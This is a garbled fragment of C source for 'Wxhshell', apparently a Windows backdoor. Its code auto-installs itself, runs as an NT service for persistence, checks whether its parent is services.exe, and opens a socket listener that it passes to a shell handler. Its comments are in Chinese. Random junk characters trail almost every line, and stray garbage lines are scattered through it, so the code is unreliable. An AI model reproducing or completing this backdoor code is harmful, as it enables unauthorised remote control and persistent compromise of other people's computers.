ULONG InheritedFromUniqueProcessId; 'OkF.bs
} PROCESS_BASIC_INFORMATION;
CW, Kw
6
)xm?RK
PROCNTQSIP NtQueryInformationProcess; spd>.Cm`
?ry`+nx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S(9fGh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]e)<CE2
#}e)*(
HANDLE hProcess; IuB0C!'
PROCESS_BASIC_INFORMATION pbi; C!~&c7
Y/)>\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /d8PDc "
if(NULL == hInst ) return 0; MP0gLi
Yl>@(tu)|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $+:_>n^#/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q31swP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .* VZY
.P-@ !Q5*
if (!NtQueryInformationProcess) return 0; b
s:E`Q
"aAzG+NM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7lf*
v qG
if(!hProcess) return 0; gnx!_H\h<
vY}/CBmg
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uK3,V0 yz
/R 2:Js
CloseHandle(hProcess); u@[D*c1!H
vKol@7%N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a&wl-
if(hProcess==NULL) return 0; n uhKM.a{
&kYg
>X
HMODULE hMod; #RZW)Br
char procName[255]; ),dXaP[
unsigned long cbNeeded; v\0[B jhL?
5A:b
\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |BF4F5wC?
D{ @x
CloseHandle(hProcess); f{k2sU*uBE
PgxD?Oi8
if(strstr(procName,"services")) return 1; // 以服务启动 5?%(j!p5
?IGT !'
return 0; // 注册表启动 4~DFtWbf
} ;la(Q~#
LF{d'jJ&K
// 主模块 NFU 5+X-c
int StartWxhshell(LPSTR lpCmdLine) LIirOf~e;!
{ qmv%N
SOCKET wsl; 9.D'!
BOOL val=TRUE; YYZE-{ %
int port=0; cZ%weQa#N)
struct sockaddr_in door; *d?,i-Q.+
j01#Wq_\fk
if(wscfg.ws_autoins) Install(); ]rXRon='
GC~Tf rf=r
port=atoi(lpCmdLine); T>.*c6I
b
Abd&p N
if(port<=0) port=wscfg.ws_port; -:AknQq
*<"xF'C
WSADATA data; Xr6UN{_-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F{ B__Kf
WFsa8qv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aQ46euth
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y(-4Agq
door.sin_family = AF_INET; Y!Wz7
C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mw*R~OX
door.sin_port = htons(port); [#M^:Q
bAGQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7M=`Z{=9
closesocket(wsl); 2u/~#Rt&*
return 1; uiP fAPZ
} =|
%:d:r
Jf YO|,
if(listen(wsl,2) == INVALID_SOCKET) { ((B7k{`
closesocket(wsl); m9a(f >C
return 1; Ca0~K42~
} ZlUd^6|:3
Wxhshell(wsl); -|"mB"Dc
WSACleanup(); q}U^H
}{ J<Wzw
return 0; )$]_;JFr
uIiE,.Uu}
} gH(,>}{^K
K8ecSs}}J
// 以NT服务方式启动 b'3w.%^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
(/-2bO
{ /{."*jK
DWORD status = 0; <A; R%\V
DWORD specificError = 0xfffffff; w|OMT>.
wFnI M2a,
serviceStatus.dwServiceType = SERVICE_WIN32; ?m}vDd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q]uxZ;}aF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4
B"tz!
serviceStatus.dwWin32ExitCode = 0; &CV%+
serviceStatus.dwServiceSpecificExitCode = 0; wm%9>mA%
serviceStatus.dwCheckPoint = 0; OjCTTz
serviceStatus.dwWaitHint = 0; H3H3UIIT_
?;ZTJ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z
v*hA/
if (hServiceStatusHandle==0) return; J/:9;{R
^dJ/>?1
status = GetLastError(); K|[[A)tt6
if (status!=NO_ERROR) Nv{r`J.
{ UpF,e>s
serviceStatus.dwCurrentState = SERVICE_STOPPED; XkDjA#nx`
serviceStatus.dwCheckPoint = 0; PxhB=i!'$
serviceStatus.dwWaitHint = 0; _{_ybXG|
serviceStatus.dwWin32ExitCode = status; RLu y;z
serviceStatus.dwServiceSpecificExitCode = specificError; [nZ3}o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pd?3_yU
return; U,_uy@fE=?
} ps\A\aggML
_?x*F?5=
serviceStatus.dwCurrentState = SERVICE_RUNNING; =6y4* f
serviceStatus.dwCheckPoint = 0; WZOi,
serviceStatus.dwWaitHint = 0;
p-POg%|&<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LBh|4S$K
} @T0F }(k
"t$c'`
// 处理NT服务事件,比如:启动、停止 AcqsXBKd
VOID WINAPI NTServiceHandler(DWORD fdwControl) O(2)A>}
{ jjN]*{s
switch(fdwControl) _DnZ=&=MA
{ $,ZBK6CT
case SERVICE_CONTROL_STOP: y'?ksow
serviceStatus.dwWin32ExitCode = 0; %5?qS`/c(
serviceStatus.dwCurrentState = SERVICE_STOPPED; d9^ uEz(
serviceStatus.dwCheckPoint = 0; _z4c7_H3
serviceStatus.dwWaitHint = 0; ^oDC F
{ OSY$qL2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M0YV Qa
} 4D=p#KZ
return; ]:uJ&xUar